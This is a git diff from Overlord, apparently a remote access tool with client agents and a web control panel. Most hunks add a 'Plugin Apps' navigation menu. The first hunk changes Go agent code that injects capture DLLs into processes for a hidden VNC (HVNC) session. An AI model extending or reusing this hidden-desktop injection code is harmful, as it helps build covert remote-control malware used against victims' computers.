diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
index 70adbaa..d123319 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
@@ -808,7 +808,11 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
if len(captureDllBytes) > 0 {
- go hvncDeferredGPUInject(pid, captureDllBytes)
+ if !hvncDXGIEnabled.Load() {
+ log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
+ } else {
+ go hvncDeferredGPUInject(pid, captureDllBytes)
+ }
}
return pid, nil
diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js
index 0b2a273..ac609be 100644
--- a/Overlord-Server/public/assets/nav.js
+++ b/Overlord-Server/public/assets/nav.js
@@ -9,6 +9,7 @@ import {
import { mountNav } from "./nav/template.js";
import { createAdaptiveNavController } from "./nav/layout.js";
import { applyUserRoleUI } from "./nav/role-ui.js";
+import { loadPluginNavItems } from "./nav/plugins-loader.js";
const host = document.getElementById("top-nav");
if (host) {
@@ -38,23 +39,27 @@ if (host) {
"/file-share": "file-share-link",
"/purgatory": "enrollment-link",
};
- const activeId = activeMap[path];
- if (activeId) {
- const el = document.getElementById(activeId);
- if (el) {
- el.classList.add("nav-active");
- // Also expand the parent sidebar group if applicable
- const group = el.closest(".sb-group");
- if (group) {
- const btn = group.querySelector(".sb-group-btn");
- const children = group.querySelector(".sb-group-children");
- const chevron = btn?.querySelector(".sb-chevron");
- if (btn) btn.setAttribute("aria-expanded", "true");
- if (children) children.classList.add("sb-group-open");
- if (chevron) chevron.classList.add("sb-chevron-open");
+
+ loadPluginNavItems(activeMap).then(() => {
+ const activeId = activeMap[path];
+ if (activeId) {
+ const el = document.getElementById(activeId);
+ if (el) {
+ el.classList.add("nav-active");
+ // Also expand the parent sidebar group if applicable
+ const group = el.closest(".sb-group");
+ if (group) {
+ const btn = group.querySelector(".sb-group-btn");
+ const children = group.querySelector(".sb-group-children");
+ const chevron = btn?.querySelector(".sb-chevron");
+ if (btn) btn.setAttribute("aria-expanded", "true");
+ if (children) children.classList.add("sb-group-open");
+ if (chevron) chevron.classList.add("sb-chevron-open");
+ }
}
}
- }
+ });
+
if (refs.logoutBtn && !refs.logoutBtn.dataset.boundLogout) {
refs.logoutBtn.dataset.boundLogout = "true";
refs.logoutBtn.addEventListener("click", async () => {
diff --git a/Overlord-Server/public/assets/nav/plugins-loader.js b/Overlord-Server/public/assets/nav/plugins-loader.js
new file mode 100644
index 0000000..8d95fad
--- /dev/null
+++ b/Overlord-Server/public/assets/nav/plugins-loader.js
@@ -0,0 +1,51 @@
+import { dropdownItem, sidebarChild } from "./template.js";
+
+export async function loadPluginNavItems(activeMap) {
+ try {
+ const res = await fetch("/api/plugins");
+ if (!res.ok) return;
+
+ const data = await res.json();
+ const plugins = data.plugins;
+ if (!plugins || !Array.isArray(plugins)) return;
+
+ const navPlugins = plugins.filter(
+ (p) => p.navbar && p.enabled
+ );
+
+ if (navPlugins.length === 0) return;
+
+ const isSidebar = document.querySelector(".sb-group[data-group='plugin_apps']");
+ const wg = document.querySelector(".nav-dd-wrapper[data-group='plugin_apps']");
+ const container = isSidebar ? document.querySelector(".sb-group[data-group='plugin_apps']") : wg;
+
+ if (!container) return;
+
+ const childContainer = isSidebar
+ ? container.querySelector(".sb-group-children")
+ : container.querySelector(".nav-dd-menu");
+
+ if (!childContainer) return;
+
+ const itemsHtml = navPlugins.map((p) => {
+ const linkId = `plugin-nav-${p.id}`;
+ activeMap[`/plugins/${p.id}`] = linkId;
+
+ const childObj = {
+ href: `/plugins/${p.id}`,
+ label: p.navbar.label || p.name,
+ icon: p.navbar.icon || "fa-cube",
+ iconColor: "text-slate-300",
+ linkId: linkId,
+ };
+
+ return isSidebar ? sidebarChild(childObj) : dropdownItem(childObj);
+ }).join("");
+
+ childContainer.innerHTML = itemsHtml;
+ container.classList.remove("hidden");
+
+ } catch (err) {
+ console.error("Failed to load plugin nav items", err);
+ }
+}
diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js
index 5e9f61b..8288901 100644
--- a/Overlord-Server/public/assets/nav/template.js
+++ b/Overlord-Server/public/assets/nav/template.js
@@ -4,7 +4,7 @@ export const NAV_MODE_KEY = "sb_mode";
NAVIGATION DATA — single source of truth
────────────────────────────────────────────── */
-const NAV_GROUPS = [
+export const NAV_GROUPS = [
{
id: "clients",
label: "Clients",
@@ -65,13 +65,21 @@ const NAV_GROUPS = [
{ href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" },
],
},
+ {
+ id: "plugin_apps",
+ label: "Plugin Apps",
+ icon: "fa-plug",
+ iconColor: "text-fuchsia-400",
+ hidden: true,
+ children: [],
+ }
];
/* ──────────────────────────────────────────────
TOPBAR — dropdown menus
────────────────────────────────────────────── */
-function dropdownItem(child) {
+export function dropdownItem(child) {
const hiddenCls = child.hidden ? " hidden" : "";
const badgeHtml = child.hasBadge
? ``
@@ -100,8 +108,9 @@ function dropdownGroup(group) {
}
// Dropdown group — wrapper always visible, children control visibility
const items = group.children.map(dropdownItem).join("");
+ const groupHidden = group.hidden ? " hidden" : "";
return `
-
+